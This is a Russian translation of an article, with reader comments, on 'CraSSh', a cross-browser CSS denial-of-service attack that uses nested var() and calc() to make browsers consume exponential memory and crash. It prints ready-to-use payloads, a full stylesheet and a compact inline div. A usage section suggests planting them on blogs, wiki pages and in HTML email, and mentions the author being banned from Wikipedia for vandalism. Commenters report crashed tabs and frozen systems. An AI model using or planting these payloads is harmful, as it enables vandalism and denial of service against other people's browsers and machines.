Автор статьи: Константин Сафонов

Не хочу читать эту техническую болтовню. Просто повали уже мой браузер.

Что такое CraSSh


CraSSh — это кроссбраузерная чисто декларативная DoS-атака, основанная на плохой обработке вложенных CSS-функций var() и calc() в современных браузерах.

CraSSh действует во всех основных браузерах на десктопах и мобильных устройствах:

  • На движке WebKit/Blink — Chrome, Opera, Safari, даже Samsung Internet на смарт-телевизорах и холодильниках.
    • Android WebView, iOS UIWebView также затронуты, то есть можно обвалить любое приложение со встроенным браузером.
  • На движке Gecko — Firefox и его форки, такие как Tor Browser.
    • Servo не запустился ни на одной из моих машин, поэтому я его не протестировал.
  • На движке EdgeHTML — Edge в Windows, WebView в приложениях UWP (их вообще кто-нибудь использует?)

Браузер IE не затронут, поскольку он не поддерживает функции, на которых основана атака, но у его пользователей немало своих проблем (вероятно, этот браузер можно порушить другими способами — прим. пер.).

Как это работает


Идея CraSSh заключается в том, чтобы заставить браузер вычислить свойство CSS с вложенными вызовами переменных за экспоненциальное время и с огромным использованием памяти.

Атака полагается на три функции CSS:

Переменные CSS (custom properties и var())

Они позволяют объявлять: присваивать и читать переменные:

.variables
{
  --variable: 1px;
  /* declare some variable */

  height: var(--variable);
  /* read the previously declared variable */
}


Переменные не допускают рекурсии (хотя был баг в WebKit, который вызывал бесконечную рекурсию) или циклы, но их можно определить как

выражения calc()

Выражения calc() позволяют выполнять некоторые базовые арифметические операции при описании правил, например, 'width: calc(50% - 10px)'.

calc() позволяет ссылаться на переменные и использовать несколько значений в одном выражении:

.calc
{
  --variable: 1px;
  /* declare a constant */

  height: calc(var(--variable) + var(--variable));
  /* access --variable twice */
}


Это даёт возможность:

  • линейно увеличивать вычисления в каждом выражении calc() путём добавления ссылок на предыдущие переменные;
  • экспоненциально увеличивать сложность с каждым объявлением переменной с выражением calc(), ссылающимся на другие вычисляемые переменные:

.calc_multiple
{
  --variable-level-0: 1px;
  /* константа */

  --variable-level-1: calc(var(--variable-level-0) + var(--variable-level-0));
  /* 2 вычисления константы */

  --variable-level-2: calc(var(--variable-level-1) + var(--variable-level-1));
  /* 2 вызова предыдущей переменной, 4 вычисления константы */

  /*
    ... больше аналогичных объявлений
  */

  --variable-level-n: calc(var(--variable-level-n-1) + var(--variable-level-n-1));
  /* 2 вызова предыдущей переменной, 2 ^ n вычислений константы */
}


Это как будто должно вычисляться за экспоненциальное время, но современные браузеры немного умнее, поэтому обычно вычисляют значения переменных один раз, сводя сложность до линейной. Хитрость в том, что кэширования значений переменных не происходит, если у неё

разнородное значение

Технически, это часть calc(), но она заслуживает отдельного упоминания. Разнородная переменная содержит как абсолютные, так и относительные единицы. Она не может быть:

  • рассчитана как абсолютное значение и совместно использована различными приложениями для различных элементов, поскольку зависит от свойств целевого элемента (юниты '%' / 'em');
  • рассчитана как абсолютное значение в одном приложении, потому что в некоторых случаях это приведёт к накоплению ошибок округления, вызывающих странные субпиксельные смещения, которые нарушат сложные макеты (у вас есть 12 столбцов, каждый шириной 1/12 экрана? Не повезло, приятель, они соберутся в новый ряд или оставят неуклюжий промежуток в конце).

Таким образом, это значение каждый раз пересчитывается заново:

.non_cached {
  --const: calc(50% +  10px);
  /* остаётся (50% +  10px) */

  --variable: calc(var(--const) + var(--const));
  /* по-прежнему не вычисляется актуальное значение */

  width: var(--variable);
  /* всё вычисляется здесь */
}

Что касается второго момента, большинство браузеров просто встраивают вложенные переменные с разнородным значением в одно выражение, чтобы избежать ошибок округления:

.mixed {
  --mixed:calc(1% + 1px);
  /* разнородная константа                   */

  --mixed-reference: calc(var(--mixed) + var(--mixed));
  /* переменная со ссылкой на константу      */

  --mixed-reference-evaluates-to: calc(1% + 1px + 1% + 1px);
  /* предыдущая переменная после встраивания */

  --mixed-reference-computes-as: calc(2% + 2px);
  /* сокращённое представление, которое позже будет вычислено как абсолютное значение */
}

Представьте, что в выражении миллионы (или миллиарды) элементов… Движок CSS пытается выделить несколько гигабайт оперативной памяти, сократить выражение, добавить обработчики событий, чтобы свойства можно было пересчитать, когда что-то изменится. В конце концов, это происходит на определённом этапе.

Так, выглядел оригинальный CraSSh:

.crassh {
  --initial-level-0: calc(1vh + 1% + 1px + 1em + 1vw + 1cm);
  /* разнородная константа */

  --level-1: calc(var(--initial-level-0) + var(--initial-level-0));
  /* 2 вычисления          */

  --level-2: calc(var(--level-1) + var(--level-1));
  /* 4 вычисления          */

  --level-3: calc(var(--level-2) + var(--level-2));
  /* 8 вычислений          */

  --level-4: calc(var(--level-3) + var(--level-3));
  /* 16 вычислений         */

  --level-5: calc(var(--level-4) + var(--level-4));
  /* 32 вычисления         */

  --level-6: calc(var(--level-5) + var(--level-5));
  /* 64 вычисления         */

  --level-7: calc(var(--level-6) + var(--level-6));
  /* 128 вычислений        */

  --level-8: calc(var(--level-7) + var(--level-7));
  /* 256 вычислений        */

  --level-9: calc(var(--level-8) + var(--level-8));
  /* 512 вычислений        */

  --level-10: calc(var(--level-9) + var(--level-9));
  /* 1024 вычисления       */

  --level-11: calc(var(--level-10) + var(--level-10));
  /* 2048 вычислений       */

  --level-12: calc(var(--level-11) + var(--level-11));
  /* 4096 вычислений       */

  --level-13: calc(var(--level-12) + var(--level-12));
  /* 8192 вычисления       */

  --level-14: calc(var(--level-13) + var(--level-13));
  /* 16384 вычисления      */

  --level-15: calc(var(--level-14) + var(--level-14));
  /* 32768 вычислений      */

  --level-16: calc(var(--level-15) + var(--level-15));
  /* 65536 вычислений      */

  --level-17: calc(var(--level-16) + var(--level-16));
  /* 131072 вычисления     */

  --level-18: calc(var(--level-17) + var(--level-17));
  /* 262144 вычисления     */

  --level-19: calc(var(--level-18) + var(--level-18));
  /* 524288 вычислений     */

  --level-20: calc(var(--level-19) + var(--level-19));
  /* 1048576 вычислений    */

  --level-21: calc(var(--level-20) + var(--level-20));
  /* 2097152 вычисления    */

  --level-22: calc(var(--level-21) + var(--level-21));
  /* 4194304 вычисления    */

  --level-23: calc(var(--level-22) + var(--level-22));
  /* 8388608 вычислений    */

  --level-24: calc(var(--level-23) + var(--level-23));
  /* 16777216 вычислений   */

  --level-25: calc(var(--level-24) + var(--level-24));
  /* 33554432 вычисления   */

  --level-26: calc(var(--level-25) + var(--level-25));
  /* 67108864 вычисления   */

  --level-27: calc(var(--level-26) + var(--level-26));
  /* 134217728 вычислений  */

  --level-28: calc(var(--level-27) + var(--level-27));
  /* 268435456 вычислений  */

  --level-29: calc(var(--level-28) + var(--level-28));
  /* 536870912 вычисления  */

  --level-30: calc(var(--level-29) + var(--level-29));
  /* 1073741824 вычисления */

  --level-final: calc(var(--level-30) + 1px);
  /* 1073741824 вычисления */


    /* ^ на некоторых движках это не вычисляется автоматически -> нужно их где-то использовать             */

    border-width: var(--level-final);  /* <- применяем рассчитанное значение   */

    /* некоторые движки могут пропустить border-width, если нет style (= пропущено ) */
    border-style: solid;
}

<div class="crassh">
Если вы это видите, ваш браузер не поддерживает современный CSS или разработчики исправили ошибку CraSSh
</div>

А вот встроенная версия менее чем в 1000 символов (MediaWiki для демонстрации).

<div style="--a:1px;--b:calc(var(--a) + var(--a));--c:calc(var(--b) + var(--b));--d:calc(var(--c) + var(--c));--e:calc(var(--d) + var(--d));--f:calc(var(--e) + var(--e));--g:calc(var(--f) + var(--f));--h:calc(var(--g) + var(--g));--i:calc(var(--h) + var(--h));--j:calc(var(--i) + var(--i));--k:calc(var(--j) + var(--j));--l:calc(var(--k) + var(--k));--m:calc(var(--l) + var(--l));--n:calc(var(--m) + var(--m));--o:calc(var(--n) + var(--n));--p:calc(var(--o) + var(--o));--q:calc(var(--p) + var(--p));--r:calc(var(--q) + var(--q));--s:calc(var(--r) + var(--r));--t:calc(var(--s) + var(--s));--u:calc(var(--t) + var(--t));--v:calc(var(--u) + var(--u));--w:calc(var(--v) + var(--v));--x:calc(var(--w) + var(--w));--y:calc(var(--x) + var(--x));--z:calc(var(--y) + var(--y));--vf:calc(var(--z) + 1px);border-width:var(--vf);border-style:solid;">CraSSh</div>

Как это использовать


Кроме отгона пользователей от собственного сайта или блога на платформе, которая дает полный доступ к HTML, как Tumblr (пример со сбоем браузера) или LiveJournal (пример со сбоем браузера), CraSSh позволяет:

  • Поломать UI на тех страницах сайта, которые под вашим контролем и позволяют определить произвольный CSS, даже не предоставляя шаблонов HTML. Мне удалось сломать MyAnimeList (пример со сбоем браузера). Reddit не подвержен этой атаке, потому что их парсер не поддерживает переменные CSS.
  • Поломать UI на публичных страницах с открытым доступом на запись, которые позволяют вставлять некоторые теги HTML со встроенными стилями. На Википедии мой аккаунт забанили за вандализм, хотя я разместил пример со сбоем браузера на личной странице. Атака затрагивает большинство проектов на основе MediaWiki. В принципе, поломанную страницу уже нельзя будет восстановить через UI.
  • Вызвать сбой почтовых клиентов с поддержкой HTML

    • Это довольно сложно, поскольку почтовые клиенты удаляют/уменьшают HTML и обычно не поддерживают современные функции CSS, которые использует CraSSh
    • CraSSh работает в

      • Samsung Mail для Android
    • CraSSh не работает в

      • Outlook (веб)
      • Gmail (веб)
      • Gmail (Android)
      • Yahoo (веб)
      • Yandex (веб)
      • Protonmail (веб)
      • Zimbra (веб, автономная установка)
      • Windows Mail (Windows, очевидно)
    • Должен работать в

      • Outlook для Mac (внутренне использует Webkit)
    • Другие не тестировали.
  • Мне просто пришла больная идея, что CraSSh можно использовать против ботов на основе CEF/PhantomJS. Атакуемый сайт может внедрять код CraSSh с заголовками (как здесь), а не показывать обычную ошибку 403. IIRC, ошибки обрабатываются по-разному во встраиваемых движках, поэтому

    • это, вероятно, приведет к сбою бота (никто не ожидает переполнения стека или чего-то в headless-браузере)
    • очень трудно для отладки, так как он даже не отображается в теле ответа, который, скорее всего, попадёт в логи


Зачем это сделано


  • Помните тот пост Линуса?

    Похоже, мир IT-безопасности достиг нового дна.

    Если вы работаете в безопасности и думаете, что у вас есть совесть, то мне кажется, можете написать:

    «Нет, правда, я не шлюха. Честно-честно»

    на своей визитке. Я и раньше думал, что вся индустрия гнилая, но это уже становится смешно.

    В какой момент люди из безопасности признaют, что обожают привлекать к себе внимание?

    Я пошёл ещё дальше, и сделал аж целый сайт, посвящённый простому багу, потому что удовольствие работы до 4 утра и внимание к достигнутым результатам — это те немногие вещи, которые удерживают меня от депрессии и нырка на этот симпатичный тротуар перед офисом.
  • Кроме того, я ненавижу фронтенд, который составляет часть мой работы в качестве fullstack-разработчика, и такие вещи помогают немного расслабиться.

Похожие штуки


Сейчас я участвую в удивительном проекте, о котором мы расскажем чуть позже. Следите за новостями в твиттере.

Особая благодарность


Комментарии (53)


  1. croupier
    30.11.2018 16:59

    Firefox попыхтел минут 5 и таки смог prntscr.com/lozfwg )
    Комп: i3 7100, 8GB, SSD, firefox 63.0.3 (64-бит)


    1. CoolCmd
      30.11.2018 17:07

      своп на ssd? :)


      1. croupier
        30.11.2018 17:17

        Конечно)
        Хотел засечь время, но с cras.sh/crash.html повторить уже не смог — падает.


      1. nafgne
        01.12.2018 21:14

        А что, нужно ставить специальный HDD под своп?)


        1. CoolCmd
          30.11.2018 23:07

          нет, просто с hdd пришлось бы ждать намного дольше


    1. poznawatel
      30.11.2018 19:04

      А у меня FF попыхтел и упала только вкладка, в которой эта бомбочка открывалась.


  1. vconst
    30.11.2018 17:14

    Опера, макос, через три секунды страничка перестала отзываться и написана «Пейдж крешед». Сам браузер даже не пискнул.

    Но статья интересная :)


    1. SerJook
      01.12.2018 07:35

      На винде 8.1 в Опере вкладка стала потреблять память и через секунды 3-4 грохнулась.


  1. C_21
    30.11.2018 18:37

    Перешел по ссылке if4milij4.livejournal.com/984.htmlБраузер не упал, просто комп завис, даже намлок не отреагировал на нажатие.


    1. vconst
      30.11.2018 18:43

      Макос, опера — сообщение об ошибке, ни одна другая владка не пострадала.


  1. terantul
    30.11.2018 18:37

    ждём статей sha256 и css — или как майнить крипту* по новому)


  1. i1qwert
    30.11.2018 18:37

    У меня при открытии в опере зависла вся винда ( ?° ?? ?°)


  1. vladcrush
    30.11.2018 18:37

    Chrome Версия 70.0.3538.110 (Официальная сборка), (64 бит) думает пару секунд и падает вкладка: «Опаньки ...»


  1. Tallanvor
    30.11.2018 18:37

    Попробовал открыть в последнем ФФ, win10, hdd, FX 8350, 16GB RAM
    За пару секунд лис сожрал всю доступную память и повесил комп наглухо
    Пишу коммент с телефона, планирую хард ресет…


    1. x67
      01.12.2018 22:16

      Reisub


      1. cl0ne
        01.12.2018 01:31

        на win10


    1. justboris
      01.12.2018 02:00

      история почти как в этой копипасте: lurkmore.to/Копипаста: Пацаны_не_качайте!


      1. Tallanvor
        01.12.2018 02:03

        На самом деле, ожидал краша/зависания браузера, но уж никак не висяк системы.
        Для полноты картины, дополню, что коммент писался 3-м или 4-м по счёту (но долго ждал одобрения), т.е. никто ещё не говорил, что может зависнуть комп =)


  1. forcam
    30.11.2018 18:56

    это те немногие вещи, которые удерживают меня от депрессии и нырка на этот симпатичный тротуар перед офисом

    Отсутствие внятной цели в жизни после 30, это синоним бесконечного желания покончить с собой, ну или по крайней мере бесконечные мысли на эту тему. Мы так устроены, что наше счастье начинается там, где начинается наша цель, если цели нет, то и смысла особого тоже нет.
    Не знаете где себя найти — всегда можно найти как помочь окружающим, тем или иным способом, ну или помочь экологии, тоже, тем или иным способом.


    1. Smayliks
      30.11.2018 20:34

      А чем помощь экологии, например, лучше поиска поиска потенциального бага системы, при котором когда-нибудь при переходе на хтмл-страничку вешается компьютер. В следсвии чего, например, может остановиться система контроля атомного реактора условной АЭС?

      Я понимаю, что утрировано, но почему вы считаете, что ваши жизненные ценности важнее окружащим, а не вам лично?


      1. QDeathNick
        01.12.2018 14:27

        Поиск поиска. Вы открыли новый уровень смысла жизни.


  1. Akuma
    30.11.2018 19:27

    Chrome 70.0.3538.110
    Просто сразу падает вкладка. На всю остальную работу никак не влияет.
    i5, SSD, 16 RAM


  1. mastan
    30.11.2018 19:49
    -1

    Edge не упал, покрутился немного и выдал ошибку при загрузке:
    imgur.com/bUQKf4G


    1. TsSaltan
      30.11.2018 20:20

      Это и есть падение, у edge, как и у chrome, процессы изолированы


  1. johnfound
    30.11.2018 20:37

    Я что-то подобное писал на базе XML и тоже для борьбы с ботами. Кстати с неясным результатам. :D


    Иду по ссылке. Если не вернусь, считайте коммунистом....


    П.П. Упал только таб — FF63.0.3, Linux, 4GB RAM и 8GB swap. Упал сравнительно быстро через 1..2 минуты интенсивного выделения памяти.


  1. DerRotBaron
    01.12.2018 21:20

    FF/Fennec 63.0.2, Android, 8G RAM. Браузер валится за 2-3 секунды и полностью.
    Видимо, полноценной изоляции вкладок под Android у них нет.


  1. DVoropaev
    01.12.2018 22:26

    CraSSh — это кроссбраузерная чисто декларативная DoS-атака

    Что значит чисто декларативная?


    1. Smayliks
      30.11.2018 22:42
      +1

      Выполняет ровно то, что от неё хотел создатель.


    1. balsoft
      30.11.2018 22:50

      Что значит чисто декларативная?

      Написана без применения инструкций на императивных языках (в данном случае это означает, что это — чистый CSS).


    1. bodqhrohro
      01.12.2018 02:51

      Не нужно выполнять скрипты.


  1. balsoft
    30.11.2018 22:54

    Вкладка падает почти мгновенно. Система не виснет, браузер не виснет, памяти не жрёт. Chromium 70.0.3538.102 на Linux ASUS-Laptop 4.14.81, Intel Core i3-6100U @ 4x 2.3GHz, 12GB RAM, нет свопа.


  1. funca
    30.11.2018 23:52

    А я чем сенсация? Есть уйма способов наступить на грабли в CSS. Трансформации, анимации, фильтры, составные бекграунды, маски, шрифты, svg и т.п. Креш вкладки это стандартный механизм браузера для отстрела проблемных страниц. Из-за этого подобные вещи сложно анализировать, в отличие от JS, где есть отладчик, профайлеры и т.п.


  1. Alexufo
    01.12.2018 00:02

    Помню подобное во времена DC++. Там была реализована подсветка в текстах твоего ника в любом тексте. Так так вот отправляешь ему в личку максимум по знакам сообщения его ников раз 5 и у него и вис этот DC++ намертво.


  1. dmitry502
    01.12.2018 01:37

    Автор оригинального поста — Константин Сафонов (kasthack): https://www.linkedin.com/in/kasthack/
    Автор с переводом не согласен, так как перевод плохо передает оригинал. Так же автор недоволен отсутствием ссылки на его LinkedIn.


    1. dmitry502
      01.12.2018 01:41

      • отсутствием -> удалением


  1. ViceCily
    01.12.2018 05:20
    -1

    Мобильный Яндекс браузер явно это предусмотрел. Выполняет попытку около 5-10 секунд, пишет что что-то не так и пытается перезагрузить страницу. Повторяет ещё 2 таких попытки и говорит что не смог. То есть они явно при загрузке страницы проверяют не слишком ли много ресурсов потребляет страница.


    1. Filex
      01.12.2018 14:40

      Настольный яндекс-браузер также себя ведет:
      image


  1. EaGames
    01.12.2018 09:58

    Chrome за секунду повесил вкладку — ничего не зависло
    Edge за 5 секунд сделал тоже самое — ничего не зависло
    Firefox очень удачно повесил саму винду — только рестарт…


  1. Maawal
    01.12.2018 09:58

    Мозилла, комп повис наглухо, курсор не двигается)


  1. Wanderer777
    01.12.2018 09:59

    Мне одному стало интересно что это за Samsung Internet на холодильниках?


    1. kasthack_phoenix
      02.12.2018 16:38
      +1

      Обычный браузер на webkit на смарт-холодильнике.


      1. FlightBlaze
        02.12.2018 17:40

        Медленный какой-то холодильник


  1. Semen55338
    01.12.2018 09:59

    MacOS Safari загрузка страницы через пять минут перезапускается из-за ошибки на половине процесса отъедая на 100% одно ядро процессора. На другие вкладки и систему больше никак не влияет


  1. uhf
    01.12.2018 11:55
    +1

    CSS превратили в монстра


  1. StallinHrusch
    01.12.2018 12:45

    Ну что-то слишком громкое заявление про «обвалить любой современный браузер». Во-первых — в коментах уже отписали, что этот метод почти ни один браузер не обвалил (максимум вкладку). Ну и в iOS проверил — просто долго грузится, устал ждать, закрыл вкладку. Такого можно достичь гораздо более простым способом. Во-вторых… да хватит первых. Желтушная статья про ничего нового


  1. Rulexec
    01.12.2018 15:05

    Нужен shadow dom, которому разработчики веб-приложений могли бы указать что-то вроде «лимит памяти 10мб», чтобы пользовательский контент со стилями не мог съесть вообще всю оперативную память и уронить вкладку целиком.


    А вычисления js/css в основном потоке хорошо бы ограничить в скорости исполнения на уровне браузера (например, 10мс вычисляем, 20мс спим), если превышен лимит в ~100мс времени. Во-первых если оно не уложилось, то в любом случае это надолго. Во-вторых отличная мотивация разработчиков к написанию отзывчивых интерфейсов.


    1. johnfound
      01.12.2018 16:49

      Во-вторых отличная мотивация разработчиков к написанию отзывчивых интерфейсов.

      Нет, не получится. Не замотивируются. Начнут выпускать "ускоритель интернетов", который будет отключать все эти ограничения.


    1. SergeyMax
      01.12.2018 23:07

      Нужен shadow dom, которому разработчики веб-приложений могли бы указать что-то вроде «лимит памяти 10мб»
      Так ведь следующая статья будет на тему «указал 100ГБ, ололо, я сломал все браузеры»


  1. leR12
    01.12.2018 17:21

    я не стал проверять ВИВАЛЬДИ… комп жалко ))))


  1. Yumashka
    01.12.2018 23:46

    FF, Win7, древний i5, 16GB RAM, система на SSD, своп на втором SSD
    Браузер съел всю память, лампочка дисков горит постоянно, другие вкладки работают (пишу сейчас), другие приложения запускают. Есть легкое лагание. Подожду, пока переполнится SLC кэш на втором диске, может эффект позаметнее будет.
    … не дождался. FF сказал, что вкладка упала, и освободил память.

    PS: в Мозиллу (или куда еще) баг отписали?


    1. johnfound
      02.12.2018 00:14

      Так это же не баг. Это фича CSS. Долгожданная и желанная.


  1. DavidNadejdin
    01.12.2018 23:46

    Chrome на Windows 10 крашит страницу через определенное время, первый раз скрашил страницу сек за 5, второй пк неплохо так подвис но всетаки ожил как chrome скрашил страницу


  1. Elford
    02.12.2018 09:57

    Как бы да. Ubu, i5, 16Gb, FF last, без swap. Попыхтел и все. В пике потребление 5Гб памяти заметил максимум.